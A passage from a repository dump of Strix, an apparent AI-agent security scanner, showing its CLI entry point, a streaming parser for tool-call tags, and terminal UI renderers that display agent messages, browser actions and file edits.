stats_text.plain:\n        panel_parts.extend([\"\\n\", stats_text])\n\n    results_text = Text()\n    results_text.append(\"\\n\")\n    results_text.append(\"Output\", style=\"dim\")\n    results_text.append(\"  \")\n    results_text.append(str(results_path), style=\"#60a5fa\")\n    panel_parts.extend([\"\\n\", results_text])\n\n    panel_content = Text.assemble(*panel_parts)\n\n    border_style = \"#22c55e\" if scan_completed else \"#eab308\"\n\n    panel = Panel(\n        panel_content,\n        title=\"[bold white]STRIX\",\n        title_align=\"left\",\n        border_style=border_style,\n        padding=(1, 2),\n    )\n\n    console.print(\"\\n\")\n    console.print(panel)\n    console.print()\n    console.print(\"[#60a5fa]models.strix.ai[/]  [dim]·[/]  [#60a5fa]discord.gg/strix-ai[/]\")\n    console.print()\n\n\ndef pull_docker_image() -> None:\n    console = Console()\n    client = check_docker_connection()\n\n    if image_exists(client, Config.get(\"strix_image\")):  # type: ignore[arg-type]\n        return\n\n    console.print()\n    console.print(f\"[dim]Pulling image[/] {Config.get('strix_image')}\")\n    console.print(\"[dim yellow]This only happens on first run and may take a few minutes...[/]\")\n    console.print()\n\n    with console.status(\"[bold cyan]Downloading image layers...\", spinner=\"dots\") as status:\n        try:\n            layers_info: dict[str, str] = {}\n            last_update = \"\"\n\n            for line in client.api.pull(Config.get(\"strix_image\"), stream=True, decode=True):\n                last_update = process_pull_line(line, layers_info, status, last_update)\n\n        except DockerException as e:\n            console.print()\n            error_text = Text()\n            error_text.append(\"FAILED TO PULL IMAGE\", style=\"bold red\")\n            error_text.append(\"\\n\\n\", style=\"white\")\n            error_text.append(f\"Could not download: {Config.get('strix_image')}\\n\", style=\"white\")\n            error_text.append(str(e), style=\"dim red\")\n\n            panel = Panel(\n                error_text,\n                title=\"[bold white]STRIX\",\n                title_align=\"left\",\n                border_style=\"red\",\n                padding=(1, 2),\n            )\n            console.print(panel, \"\\n\")\n            sys.exit(1)\n\n    success_text = Text()\n    success_text.append(\"Docker image ready\", style=\"#22c55e\")\n    console.print(success_text)\n    console.print()\n\n\ndef apply_config_override(config_path: str) -> None:\n    Config._config_file_override = validate_config_file(config_path)\n    apply_saved_config(force=True)\n\n\ndef persist_config() -> None:\n    if Config._config_file_override is None:\n        save_current_config()\n\n\ndef main() -> None:\n    if sys.platform == \"win32\":\n        asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())\n\n    args = parse_arguments()\n\n    if args.config:\n        apply_config_override(args.config)\n\n    check_docker_installed()\n    pull_docker_image()\n\n    validate_environment()\n    asyncio.run(warm_up_llm())\n\n    persist_config()\n\n    args.run_name = generate_run_name(args.targets_info)\n\n    for target_info in args.targets_info:\n        if target_info[\"type\"] == \"repository\":\n            repo_url = target_info[\"details\"][\"target_repo\"]\n            dest_name = target_info[\"details\"].get(\"workspace_subdir\")\n            cloned_path = clone_repository(repo_url, args.run_name, dest_name)\n            target_info[\"details\"][\"cloned_repo_path\"] = cloned_path\n\n    args.local_sources = collect_local_sources(args.targets_info)\n\n    is_whitebox = bool(args.local_sources)\n\n    posthog.start(\n        model=Config.get(\"strix_llm\"),\n        scan_mode=args.scan_mode,\n        is_whitebox=is_whitebox,\n        interactive=not args.non_interactive,\n        has_instructions=bool(args.instruction),\n    )\n\n    exit_reason = \"user_exit\"\n    try:\n        if args.non_interactive:\n            asyncio.run(run_cli(args))\n        else:\n            asyncio.run(run_tui(args))\n    except KeyboardInterrupt:\n        exit_reason = \"interrupted\"\n    except Exception as e:\n        exit_reason = \"error\"\n        posthog.error(\"unhandled_exception\", str(e))\n        raise\n    finally:\n        tracer = get_global_tracer()\n        if tracer:\n            posthog.end(tracer, exit_reason=exit_reason)\n\n    results_path = Path(\"strix_runs\") / args.run_name\n    display_completion_message(args, results_path)\n\n    if args.non_interactive:\n        tracer = get_global_tracer()\n        if tracer and tracer.vulnerability_reports:\n            sys.exit(2)\n\n\nif __name__ == \"__main__\":\n    main()\n"
  },
  {
    "path": "strix/interface/streaming_parser.py",
    "content": "import html\nimport re\nfrom dataclasses import dataclass\nfrom typing import Literal\n\nfrom strix.llm.utils import normalize_tool_format\n\n\n_FUNCTION_TAG_PREFIX = \"<function=\"\n_INVOKE_TAG_PREFIX = \"<invoke \"\n\n_FUNC_PATTERN = re.compile(r\"<function=([^>]+)>\")\n_FUNC_END_PATTERN = re.compile(r\"</function>\")\n_COMPLETE_PARAM_PATTERN = re.compile(r\"<parameter=([^>]+)>(.*?)</parameter>\", re.DOTALL)\n_INCOMPLETE_PARAM_PATTERN = re.compile(r\"<parameter=([^>]+)>(.*)$\", re.DOTALL)\n\n\ndef _get_safe_content(content: str) -> tuple[str, str]:\n    if not content:\n        return \"\", \"\"\n\n    last_lt = content.rfind(\"<\")\n    if last_lt == -1:\n        return content, \"\"\n\n    suffix = content[last_lt:]\n\n    if _FUNCTION_TAG_PREFIX.startswith(suffix) or _INVOKE_TAG_PREFIX.startswith(suffix):\n        return content[:last_lt], suffix\n\n    return content, \"\"\n\n\n@dataclass\nclass StreamSegment:\n    type: Literal[\"text\", \"tool\"]\n    content: str\n    tool_name: str | None = None\n    args: dict[str, str] | None = None\n    is_complete: bool = False\n\n\ndef parse_streaming_content(content: str) -> list[StreamSegment]:\n    if not content:\n        return []\n\n    content = normalize_tool_format(content)\n\n    segments: list[StreamSegment] = []\n\n    func_matches = list(_FUNC_PATTERN.finditer(content))\n\n    if not func_matches:\n        safe_content, _ = _get_safe_content(content)\n        text = safe_content.strip()\n        if text:\n            segments.append(StreamSegment(type=\"text\", content=text))\n        return segments\n\n    first_func_start = func_matches[0].start()\n    if first_func_start > 0:\n        text_before = content[:first_func_start].strip()\n        if text_before:\n            segments.append(StreamSegment(type=\"text\", content=text_before))\n\n    for i, match in enumerate(func_matches):\n        tool_name = match.group(1)\n        func_start = match.end()\n\n        func_end_match = _FUNC_END_PATTERN.search(content, func_start)\n\n        if func_end_match:\n            func_body = content[func_start : func_end_match.start()]\n            is_complete = True\n            end_pos = func_end_match.end()\n        else:\n            if i + 1 < len(func_matches):\n                next_func_start = func_matches[i + 1].start()\n                func_body = content[func_start:next_func_start]\n            else:\n                func_body = content[func_start:]\n            is_complete = False\n            end_pos = len(content)\n\n        args = _parse_streaming_params(func_body)\n\n        segments.append(\n            StreamSegment(\n                type=\"tool\",\n                content=func_body,\n                tool_name=tool_name,\n                args=args,\n                is_complete=is_complete,\n            )\n        )\n\n        if is_complete and i + 1 < len(func_matches):\n            next_start = func_matches[i + 1].start()\n            text_between = content[end_pos:next_start].strip()\n            if text_between:\n                segments.append(StreamSegment(type=\"text\", content=text_between))\n\n    return segments\n\n\ndef _parse_streaming_params(func_body: str) -> dict[str, str]:\n    args: dict[str, str] = {}\n\n    complete_matches = list(_COMPLETE_PARAM_PATTERN.finditer(func_body))\n    complete_end_pos = 0\n\n    for match in complete_matches:\n        param_name = match.group(1)\n        param_value = html.unescape(match.group(2).strip())\n        args[param_name] = param_value\n        complete_end_pos = max(complete_end_pos, match.end())\n\n    remaining = func_body[complete_end_pos:]\n    incomplete_match = _INCOMPLETE_PARAM_PATTERN.search(remaining)\n    if incomplete_match:\n        param_name = incomplete_match.group(1)\n        param_value = html.unescape(incomplete_match.group(2).strip())\n        args[param_name] = param_value\n\n    return args\n"
  },
  {
    "path": "strix/interface/tool_components/__init__.py",
    "content": "from . import (\n    agent_message_renderer,\n    agents_graph_renderer,\n    browser_renderer,\n    file_edit_renderer,\n    finish_renderer,\n    load_skill_renderer,\n    notes_renderer,\n    proxy_renderer,\n    python_renderer,\n    reporting_renderer,\n    scan_info_renderer,\n    terminal_renderer,\n    thinking_renderer,\n    todo_renderer,\n    user_message_renderer,\n    web_search_renderer,\n)\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import ToolTUIRegistry, get_tool_renderer, register_tool_renderer, render_tool_widget\n\n\n__all__ = [\n    \"BaseToolRenderer\",\n    \"ToolTUIRegistry\",\n    \"agent_message_renderer\",\n    \"agents_graph_renderer\",\n    \"browser_renderer\",\n    \"file_edit_renderer\",\n    \"finish_renderer\",\n    \"get_tool_renderer\",\n    \"load_skill_renderer\",\n    \"notes_renderer\",\n    \"proxy_renderer\",\n    \"python_renderer\",\n    \"register_tool_renderer\",\n    \"render_tool_widget\",\n    \"reporting_renderer\",\n    \"scan_info_renderer\",\n    \"terminal_renderer\",\n    \"thinking_renderer\",\n    \"todo_renderer\",\n    \"user_message_renderer\",\n    \"web_search_renderer\",\n]\n"
  },
  {
    "path": "strix/interface/tool_components/agent_message_renderer.py",
    "content": "from functools import cache\nfrom typing import Any, ClassVar\n\nfrom pygments.lexers import get_lexer_by_name, guess_lexer\nfrom pygments.styles import get_style_by_name\nfrom pygments.util import ClassNotFound\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\n_HEADER_STYLES = [\n    (\"###### \", 7, \"bold #4ade80\"),\n    (\"##### \", 6, \"bold #22c55e\"),\n    (\"#### \", 5, \"bold #16a34a\"),\n    (\"### \", 4, \"bold #15803d\"),\n    (\"## \", 3, \"bold #22c55e\"),\n    (\"# \", 2, \"bold #4ade80\"),\n]\n\n\n@cache\ndef _get_style_colors() -> dict[Any, str]:\n    style = get_style_by_name(\"native\")\n    return {token: f\"#{style_def['color']}\" for token, style_def in style if style_def[\"color\"]}\n\n\ndef _get_token_color(token_type: Any) -> str | None:\n    colors = _get_style_colors()\n    while token_type:\n        if token_type in colors:\n            return colors[token_type]\n        token_type = token_type.parent\n    return None\n\n\ndef _highlight_code(code: str, language: str | None = None) -> Text:\n    text = Text()\n\n    try:\n        lexer = get_lexer_by_name(language) if language else guess_lexer(code)\n    except ClassNotFound:\n        text.append(code, style=\"#d4d4d4\")\n        return text\n\n    for token_type, token_value in lexer.get_tokens(code):\n        if not token_value:\n            continue\n        color = _get_token_color(token_type)\n        text.append(token_value, style=color)\n\n    return text\n\n\ndef _try_parse_header(line: str) -> tuple[str, str] | None:\n    for prefix, strip_len, style in _HEADER_STYLES:\n        if line.startswith(prefix):\n            return (line[strip_len:], style)\n    return None\n\n\ndef _apply_markdown_styles(text: str) -> Text:  # noqa: PLR0912\n    result = Text()\n    lines = text.split(\"\\n\")\n\n    in_code_block = False\n    code_block_lang: str | None = None\n    code_block_lines: list[str] = []\n\n    for i, line in enumerate(lines):\n        if i > 0 and not in_code_block:\n            result.append(\"\\n\")\n\n        if line.startswith(\"```\"):\n            if not in_code_block:\n                in_code_block = True\n                code_block_lang = line[3:].strip() or None\n                code_block_lines = []\n                if i > 0:\n                    result.append(\"\\n\")\n            else:\n                in_code_block = False\n                code_content = \"\\n\".join(code_block_lines)\n                if code_content:\n                    result.append_text(_highlight_code(code_content, code_block_lang))\n                code_block_lines = []\n                code_block_lang = None\n            continue\n\n        if in_code_block:\n            code_block_lines.append(line)\n            continue\n\n        header = _try_parse_header(line)\n        if header:\n            result.append(header[0], style=header[1])\n        elif line.startswith(\"> \"):\n            result.append(\"┃ \", style=\"#22c55e\")\n            result.append_text(_process_inline_formatting(line[2:]))\n        elif line.startswith((\"- \", \"* \")):\n            result.append(\"• \", style=\"#22c55e\")\n            result.append_text(_process_inline_formatting(line[2:]))\n        elif len(line) > 2 and line[0].isdigit() and line[1:3] in (\". \", \") \"):\n            result.append(line[0] + \". \", style=\"#22c55e\")\n            result.append_text(_process_inline_formatting(line[2:]))\n        elif line.strip() in (\"---\", \"***\", \"___\"):\n            result.append(\"─\" * 40, style=\"#22c55e\")\n        else:\n            result.append_text(_process_inline_formatting(line))\n\n    if in_code_block and code_block_lines:\n        code_content = \"\\n\".join(code_block_lines)\n        result.append_text(_highlight_code(code_content, code_block_lang))\n\n    return result\n\n\ndef _process_inline_formatting(line: str) -> Text:\n    result = Text()\n    i = 0\n    n = len(line)\n\n    while i < n:\n        if i + 1 < n and line[i : i + 2] in (\"**\", \"__\"):\n            marker = line[i : i + 2]\n            end = line.find(marker, i + 2)\n            if end != -1:\n                result.append(line[i + 2 : end], style=\"bold #4ade80\")\n                i = end + 2\n                continue\n\n        if i + 1 < n and line[i : i + 2] == \"~~\":\n            end = line.find(\"~~\", i + 2)\n            if end != -1:\n                result.append(line[i + 2 : end], style=\"strike #525252\")\n                i = end + 2\n                continue\n\n        if line[i] == \"`\":\n            end = line.find(\"`\", i + 1)\n            if end != -1:\n                result.append(line[i + 1 : end], style=\"bold #22c55e on #0a0a0a\")\n                i = end + 1\n                continue\n\n        if line[i] in (\"*\", \"_\"):\n            marker = line[i]\n            if i + 1 < n and line[i + 1] != marker:\n                end = line.find(marker, i + 1)\n                if end != -1 and (end + 1 >= n or line[end + 1] != marker):\n                    result.append(line[i + 1 : end], style=\"italic #86efac\")\n                    i = end + 1\n                    continue\n\n        result.append(line[i])\n        i += 1\n\n    return result\n\n\n@register_tool_renderer\nclass AgentMessageRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"agent_message\"\n    css_classes: ClassVar[list[str]] = [\"chat-message\", \"agent-message\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        content = tool_data.get(\"content\", \"\")\n\n        if not content:\n            return Static(Text(), classes=\" \".join(cls.css_classes))\n\n        styled_text = _apply_markdown_styles(content)\n\n        return Static(styled_text, classes=\" \".join(cls.css_classes))\n\n    @classmethod\n    def render_simple(cls, content: str) -> Text:\n        if not content:\n            return Text()\n\n        from strix.llm.utils import clean_content\n\n        cleaned = clean_content(content)\n        if not cleaned:\n            return Text()\n\n        return _apply_markdown_styles(cleaned)\n"
  },
  {
    "path": "strix/interface/tool_components/agents_graph_renderer.py",
    "content": "from typing import Any, ClassVar\n\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\n@register_tool_renderer\nclass ViewAgentGraphRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"view_agent_graph\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"agents-graph-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        status = tool_data.get(\"status\", \"unknown\")\n\n        text = Text()\n        text.append(\"◇ \", style=\"#a78bfa\")\n        text.append(\"viewing agents graph\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass CreateAgentRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"create_agent\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"agents-graph-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        status = tool_data.get(\"status\", \"unknown\")\n\n        task = args.get(\"task\", \"\")\n        name = args.get(\"name\", \"Agent\")\n\n        text = Text()\n        text.append(\"◈ \", style=\"#a78bfa\")\n        text.append(\"spawning \", style=\"dim\")\n        text.append(name, style=\"bold #a78bfa\")\n\n        if task:\n            text.append(\"\\n  \")\n            text.append(task, style=\"dim\")\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass SendMessageToAgentRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"send_message_to_agent\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"agents-graph-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        status = tool_data.get(\"status\", \"unknown\")\n\n        message = args.get(\"message\", \"\")\n        agent_id = args.get(\"agent_id\", \"\")\n\n        text = Text()\n        text.append(\"→ \", style=\"#60a5fa\")\n        if agent_id:\n            text.append(f\"to {agent_id}\", style=\"dim\")\n        else:\n            text.append(\"sending message\", style=\"dim\")\n\n        if message:\n            text.append(\"\\n  \")\n            text.append(message, style=\"dim\")\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass AgentFinishRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"agent_finish\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"agents-graph-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n\n        result_summary = args.get(\"result_summary\", \"\")\n        findings = args.get(\"findings\", [])\n        success = args.get(\"success\", True)\n\n        text = Text()\n\n        if success:\n            text.append(\"◆ \", style=\"#22c55e\")\n            text.append(\"Agent completed\", style=\"bold #22c55e\")\n        else:\n            text.append(\"◆ \", style=\"#ef4444\")\n            text.append(\"Agent failed\", style=\"bold #ef4444\")\n\n        if result_summary:\n            text.append(\"\\n  \")\n            text.append(result_summary, style=\"bold\")\n\n            if findings and isinstance(findings, list):\n                for finding in findings:\n                    text.append(\"\\n  • \")\n                    text.append(str(finding), style=\"dim\")\n        else:\n            text.append(\"\\n  \")\n            text.append(\"Completing task...\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass WaitForMessageRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"wait_for_message\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"agents-graph-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        status = tool_data.get(\"status\", \"unknown\")\n\n        reason = args.get(\"reason\", \"\")\n\n        text = Text()\n        text.append(\"○ \", style=\"#6b7280\")\n        text.append(\"waiting\", style=\"dim\")\n\n        if reason:\n            text.append(\"\\n  \")\n            text.append(reason, style=\"dim\")\n\n        css_classes = cls.get_css_classes(status)\n        return Static(text, classes=css_classes)\n"
  },
  {
    "path": "strix/interface/tool_components/base_renderer.py",
    "content": "from abc import ABC, abstractmethod\nfrom typing import Any, ClassVar\n\nfrom rich.text import Text\nfrom textual.widgets import Static\n\n\nclass BaseToolRenderer(ABC):\n    tool_name: ClassVar[str] = \"\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\"]\n\n    @classmethod\n    @abstractmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        pass\n\n    @classmethod\n    def build_text(cls, tool_data: dict[str, Any]) -> Text:  # noqa: ARG003\n        return Text()\n\n    @classmethod\n    def create_static(cls, content: Text, status: str) -> Static:\n        css_classes = cls.get_css_classes(status)\n        return Static(content, classes=css_classes)\n\n    @classmethod\n    def status_icon(cls, status: str) -> tuple[str, str]:\n        icons = {\n            \"running\": (\"● In progress...\", \"#f59e0b\"),\n            \"completed\": (\"✓ Done\", \"#22c55e\"),\n            \"failed\": (\"✗ Failed\", \"#dc2626\"),\n            \"error\": (\"✗ Error\", \"#dc2626\"),\n        }\n        return icons.get(status, (\"○ Unknown\", \"dim\"))\n\n    @classmethod\n    def get_css_classes(cls, status: str) -> str:\n        base_classes = cls.css_classes.copy()\n        base_classes.append(f\"status-{status}\")\n        return \" \".join(base_classes)\n\n    @classmethod\n    def text_with_style(cls, content: str, style: str | None = None) -> Text:\n        text = Text()\n        text.append(content, style=style)\n        return text\n\n    @classmethod\n    def text_icon_label(\n        cls,\n        icon: str,\n        label: str,\n        icon_style: str | None = None,\n        label_style: str | None = None,\n    ) -> Text:\n        text = Text()\n        text.append(icon, style=icon_style)\n        text.append(\" \")\n        text.append(label, style=label_style)\n        return text\n\n    @classmethod\n    def text_header(\n        cls,\n        icon: str,\n        title: str,\n        subtitle: str = \"\",\n        title_style: str = \"bold\",\n        subtitle_style: str = \"dim\",\n    ) -> Text:\n        text = Text()\n        text.append(icon)\n        text.append(\" \")\n        text.append(title, style=title_style)\n        if subtitle:\n            text.append(\" \")\n            text.append(subtitle, style=subtitle_style)\n        return text\n\n    @classmethod\n    def text_key_value(\n        cls,\n        key: str,\n        value: str,\n        key_style: str = \"dim\",\n        value_style: str | None = None,\n        indent: int = 2,\n    ) -> Text:\n        text = Text()\n        text.append(\" \" * indent)\n        text.append(key, style=key_style)\n        text.append(\": \")\n        text.append(value, style=value_style)\n        return text\n"
  },
  {
    "path": "strix/interface/tool_components/browser_renderer.py",
    "content": "from functools import cache\nfrom typing import Any, ClassVar\n\nfrom pygments.lexers import get_lexer_by_name\nfrom pygments.styles import get_style_by_name\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\n@cache\ndef _get_style_colors() -> dict[Any, str]:\n    style = get_style_by_name(\"native\")\n    return {token: f\"#{style_def['color']}\" for token, style_def in style if style_def[\"color\"]}\n\n\n@register_tool_renderer\nclass BrowserRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"browser_action\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"browser-tool\"]\n\n    SIMPLE_ACTIONS: ClassVar[dict[str, str]] = {\n        \"back\": \"going back in browser history\",\n        \"forward\": \"going forward in browser history\",\n        \"scroll_down\": \"scrolling down\",\n        \"scroll_up\": \"scrolling up\",\n        \"refresh\": \"refreshing browser tab\",\n        \"close_tab\": \"closing browser tab\",\n        \"switch_tab\": \"switching browser tab\",\n        \"list_tabs\": \"listing browser tabs\",\n        \"view_source\": \"viewing page source\",\n        \"get_console_logs\": \"getting console logs\",\n        \"screenshot\": \"taking screenshot of browser tab\",\n        \"wait\": \"waiting...\",\n        \"close\": \"closing browser\",\n    }\n\n    @classmethod\n    def _get_token_color(cls, token_type: Any) -> str | None:\n        colors = _get_style_colors()\n        while token_type:\n            if token_type in colors:\n                return colors[token_type]\n            token_type = token_type.parent\n        return None\n\n    @classmethod\n    def _highlight_js(cls, code: str) -> Text:\n        lexer = get_lexer_by_name(\"javascript\")\n        text = Text()\n\n        for token_type, token_value in lexer.get_tokens(code):\n            if not token_value:\n                continue\n            color = cls._get_token_color(token_type)\n            text.append(token_value, style=color)\n\n        return text\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        status = tool_data.get(\"status\", \"unknown\")\n\n        action = args.get(\"action\", \"\")\n        content = cls._build_content(action, args)\n\n        css_classes = cls.get_css_classes(status)\n        return Static(content, classes=css_classes)\n\n    @classmethod\n    def _build_url_action(cls, text: Text, label: str, url: str | None, suffix: str = \"\") -> None:\n        text.append(label, style=\"#06b6d4\")\n        if url:\n            text.append(url, style=\"#06b6d4\")\n            if suffix:\n                text.append(suffix, style=\"#06b6d4\")\n\n    @classmethod\n    def _build_content(cls, action: str, args: dict[str, Any]) -> Text:\n        text = Text()\n        text.append(\"🌐 \")\n\n        if action in cls.SIMPLE_ACTIONS:\n            text.append(cls.SIMPLE_ACTIONS[action], style=\"#06b6d4\")\n            return text\n\n        url = args.get(\"url\")\n\n        url_actions = {\n            \"launch\": (\"launching \", \" on browser\" if url else \"browser\"),\n            \"goto\": (\"navigating to \", \"\"),\n            \"new_tab\": (\"opening tab \", \"\"),\n        }\n        if action in url_actions:\n            label, suffix = url_actions[action]\n            if action == \"launch\" and not url:\n                text.append(\"launching browser\", style=\"#06b6d4\")\n            else:\n                cls._build_url_action(text, label, url, suffix)\n            return text\n\n        click_actions = {\n            \"click\": \"clicking\",\n            \"double_click\": \"double clicking\",\n            \"hover\": \"hovering\",\n        }\n        if action in click_actions:\n            text.append(click_actions[action], style=\"#06b6d4\")\n            return text\n\n        handlers: dict[str, tuple[str, str | None]] = {\n            \"type\": (\"typing \", args.get(\"text\")),\n            \"press_key\": (\"pressing key \", args.get(\"key\")),\n            \"save_pdf\": (\"saving PDF to \", args.get(\"file_path\")),\n        }\n        if action in handlers:\n            label, value = handlers[action]\n            text.append(label, style=\"#06b6d4\")\n            if value:\n                text.append(str(value), style=\"#06b6d4\")\n            return text\n\n        if action == \"execute_js\":\n            text.append(\"executing javascript\", style=\"#06b6d4\")\n            js_code = args.get(\"js_code\")\n            if js_code:\n                text.append(\"\\n\")\n                text.append_text(cls._highlight_js(js_code))\n            return text\n\n        if action:\n            text.append(action, style=\"#06b6d4\")\n        return text\n"
  },
  {
    "path": "strix/interface/tool_components/file_edit_renderer.py",
    "content": "from functools import cache\nfrom typing import Any, ClassVar\n\nfrom pygments.lexers import get_lexer_by_name, get_lexer_for_filename\nfrom pygments.styles import get_style_by_name\nfrom pygments.util import ClassNotFound\nfrom rich.text import Text\nfrom textual.widgets import Static\n\nfrom .base_renderer import BaseToolRenderer\nfrom .registry import register_tool_renderer\n\n\n@cache\ndef _get_style_colors() -> dict[Any, str]:\n    style = get_style_by_name(\"native\")\n    return {token: f\"#{style_def['color']}\" for token, style_def in style if style_def[\"color\"]}\n\n\ndef _get_lexer_for_file(path: str) -> Any:\n    try:\n        return get_lexer_for_filename(path)\n    except ClassNotFound:\n        return get_lexer_by_name(\"text\")\n\n\n@register_tool_renderer\nclass StrReplaceEditorRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"str_replace_editor\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"file-edit-tool\"]\n\n    @classmethod\n    def _get_token_color(cls, token_type: Any) -> str | None:\n        colors = _get_style_colors()\n        while token_type:\n            if token_type in colors:\n                return colors[token_type]\n            token_type = token_type.parent\n        return None\n\n    @classmethod\n    def _highlight_code(cls, code: str, path: str) -> Text:\n        lexer = _get_lexer_for_file(path)\n        text = Text()\n\n        for token_type, token_value in lexer.get_tokens(code):\n            if not token_value:\n                continue\n            color = cls._get_token_color(token_type)\n            text.append(token_value, style=color)\n\n        return text\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        result = tool_data.get(\"result\")\n\n        command = args.get(\"command\", \"\")\n        path = args.get(\"path\", \"\")\n        old_str = args.get(\"old_str\", \"\")\n        new_str = args.get(\"new_str\", \"\")\n        file_text = args.get(\"file_text\", \"\")\n\n        text = Text()\n\n        icons_and_labels = {\n            \"view\": (\"◇ \", \"read\", \"#10b981\"),\n            \"str_replace\": (\"◇ \", \"edit\", \"#10b981\"),\n            \"create\": (\"◇ \", \"create\", \"#10b981\"),\n            \"insert\": (\"◇ \", \"insert\", \"#10b981\"),\n            \"undo_edit\": (\"◇ \", \"undo\", \"#10b981\"),\n        }\n\n        icon, label, color = icons_and_labels.get(command, (\"◇ \", \"file\", \"#10b981\"))\n        text.append(icon, style=color)\n        text.append(label, style=\"dim\")\n\n        if path:\n            path_display = path[-60:] if len(path) > 60 else path\n            text.append(\" \")\n            text.append(path_display, style=\"dim\")\n\n        if command == \"str_replace\" and (old_str or new_str):\n            if old_str:\n                highlighted_old = cls._highlight_code(old_str, path)\n                for line in highlighted_old.plain.split(\"\\n\"):\n                    text.append(\"\\n\")\n                    text.append(\"-\", style=\"#ef4444\")\n                    text.append(\" \")\n                    text.append(line)\n\n            if new_str:\n                highlighted_new = cls._highlight_code(new_str, path)\n                for line in highlighted_new.plain.split(\"\\n\"):\n                    text.append(\"\\n\")\n                    text.append(\"+\", style=\"#22c55e\")\n                    text.append(\" \")\n                    text.append(line)\n\n        elif command == \"create\" and file_text:\n            text.append(\"\\n\")\n            text.append_text(cls._highlight_code(file_text, path))\n\n        elif command == \"insert\" and new_str:\n            highlighted_new = cls._highlight_code(new_str, path)\n            for line in highlighted_new.plain.split(\"\\n\"):\n                text.append(\"\\n\")\n                text.append(\"+\", style=\"#22c55e\")\n                text.append(\" \")\n                text.append(line)\n\n        elif isinstance(result, str) and result.strip():\n            text.append(\"\\n  \")\n            text.append(result.strip(), style=\"dim\")\n        elif not (result and isinstance(result, dict) and \"content\" in result) and not path:\n            text.append(\" \")\n            text.append(\"Processing...\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass ListFilesRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"list_files\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"file-edit-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        path = args.get(\"path\", \"\")\n\n        text = Text()\n        text.append(\"◇ \", style=\"#10b981\")\n        text.append(\"list\", style=\"dim\")\n        text.append(\" \")\n\n        if path:\n            path_display = path[-60:] if len(path) > 60 else path\n            text.append(path_display, style=\"dim\")\n        else:\n            text.append(\"Current directory\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n\n\n@register_tool_renderer\nclass SearchFilesRenderer(BaseToolRenderer):\n    tool_name: ClassVar[str] = \"search_files\"\n    css_classes: ClassVar[list[str]] = [\"tool-call\", \"file-edit-tool\"]\n\n    @classmethod\n    def render(cls, tool_data: dict[str, Any]) -> Static:\n        args = tool_data.get(\"args\", {})\n        path = args.get(\"path\", \"\")\n        regex = args.get(\"regex\", \"\")\n\n        text = Text()\n        text.append(\"◇ \", style=\"#a855f7\")\n        text.append(\"search\", style=\"dim\")\n        text.append(\"  \")\n\n        if path and regex:\n            text.append(path, style=\"dim\")\n            text.append(\" \", style=\"dim\")\n            text.append(regex, style=\"#a855f7\")\n        elif path:\n            text.append(path, style=\"dim\")\n        elif regex:\n            text.append(regex, style=\"#a855f7\")\n        else:\n            text.append(\"...\", style=\"dim\")\n\n        css_classes = cls.get_css_classes(\"completed\")\n        return Static(text, classes=css_classes)\n"
  },
  {
    "path": "strix/interface/tool_components/finish_renderer.py",
